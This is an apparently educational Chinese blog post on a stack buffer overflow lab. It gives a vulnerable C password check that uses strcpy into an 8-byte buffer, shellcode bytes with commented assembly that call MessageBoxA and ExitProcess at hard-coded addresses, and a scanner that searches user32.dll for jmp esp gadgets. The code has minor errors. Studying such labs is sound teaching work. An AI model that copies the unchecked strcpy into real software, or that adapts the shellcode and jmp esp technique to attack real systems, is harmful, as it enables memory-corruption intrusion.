标签:覆盖 函数 溢出 imp container verify xor val 栈帧
#include<stdio.h>
#include<string.h>
#define PASSWORD "1234567"
int verify_password (char *password)
{
int authenticated;
char buffer[8];
authenticated=strcmp(password,PASSWORD);
strcpy(buffer,password);
return authenticated;
}
int main()
{
int valid_flag=0;
char password[1024];
while(1)
{
printf("please input password:");
scanf("%s",password);
valid_flag = verify_password(password);
if(valid_flag)
{
printf("incorrenct\n");
}
else{
printf("Congratulation\n");
break;
}
}
return 0;
}
#include<stdio.h>
#include<string.h>
#define PASSWORD "1234567"
int verify_password (char *password)
{
int authenticated;
char buffer[8];
printf("%p\n",&buffer);
authenticated=strcmp(password,PASSWORD);
strcpy(buffer,password);
return authenticated;
}
int main()
{
int valid_flag=0;
char password[1024];
FILE *fp;
if(!(fp=fopen("password.txt","rw+"))){
exit(0);
}
fscanf(fp,"%s",password);
valid_flag = verify_password(password);
if(valid_flag)
{
printf("incorrenct password!\n");
}
else{
printf("Congratulation\n");
}
fclose(fp);
return 0;
}
机器码 | 汇编 | 注释 |
33DB | XOR EBX, EBX | 压如NULL结尾的“failwest”字符串 |
53 | PUSH EBX | 之所以用EBX清零后入栈作为字符串的 |
6877657374 | PUSH 6877657374 | 截断符,是为了避免“PUSH 0”中的NULL |
686661696C | PUSH 686661696C | 否则植入的机器码会被strcpy函数截断 |
8BC4 | MOV EAX, ESP | EAX里是字符串指针 |
53 | PUSH EBX | 4个参数按从右向左的顺序入栈 |
50 | PUSH EAX | 分别是(0,failwest,failwest,0) |
50 | PUSH EAX | |
53 | PUSH EBX | |
B8EA07D577 | MOV EAX, 0x77D507EA | 调用MessageBoxA 不同的机器这里的函数入口 |
FFD0 | CALL EAX | 地址不同 |
#include<Windows.h>
#include<stdio.h>
#define DLL_NAME "user32.dll"
int main()
{
BYTE* ptr;
int position,address;
HINSTANCE handle;
BOOL done_flag = FALSE;
handle = LoadLibrary(DLL_NAME);
if(!handle)
{
printf(" load dll erro !");
exit(0);
}
ptr = (BYTE*)handle;
for(position = 0; !done_flag; position++)
{
try{
if(ptr[position] == 0xFF && ptr[position+1] == 0xE4)
{
//0xFFE4 is the opcode of jmp esp
int address = (int)ptr + postion;
printf("OPCODE found at 0x%x\n",address);
}
}
catch(...)
{
int address = (int)ptr + position;
printf("END OF 0x%x\n", address);
done_flag = true;
}
}
return 0;
}
#include<Windows.h>
int main()
{
HINSTANCE LibHandle;
char dllbuf[11] = "user32.dll";
LibHandle = LoadLibrary(dllbuf);
_asm{
sub sp, 0x440
xor ebx, ebx
push ebx //cut string
push 0x74736577
push 0x6C696166
mov eax, esp
push ebx
push eax
push eax
push ebx
mov eax, 0x77D507EA
call eax //call MessageBoxA
push ebx
mov eax, 0x7C81CAFA
call eax //call exit(0)
}
}
33DB xor ebx,ebx
53 push ebx
68 77657374 push 0x74736577
68 6661696C push 0x6C696166
8BC4 mov eax,esp
53 push ebx
50 push eax
50 push eax
53 push ebx
B8 EA07D577 mov eax,user32.MessageBoxA
FFD0 call eax
53 push ebx
B8 FACA817C mov eax,kernel32.ExitProcess
FFD0 call eax
标签:覆盖 函数 溢出 imp container verify xor val 栈帧
原文地址:http://www.cnblogs.com/trojan-z/p/6663533.html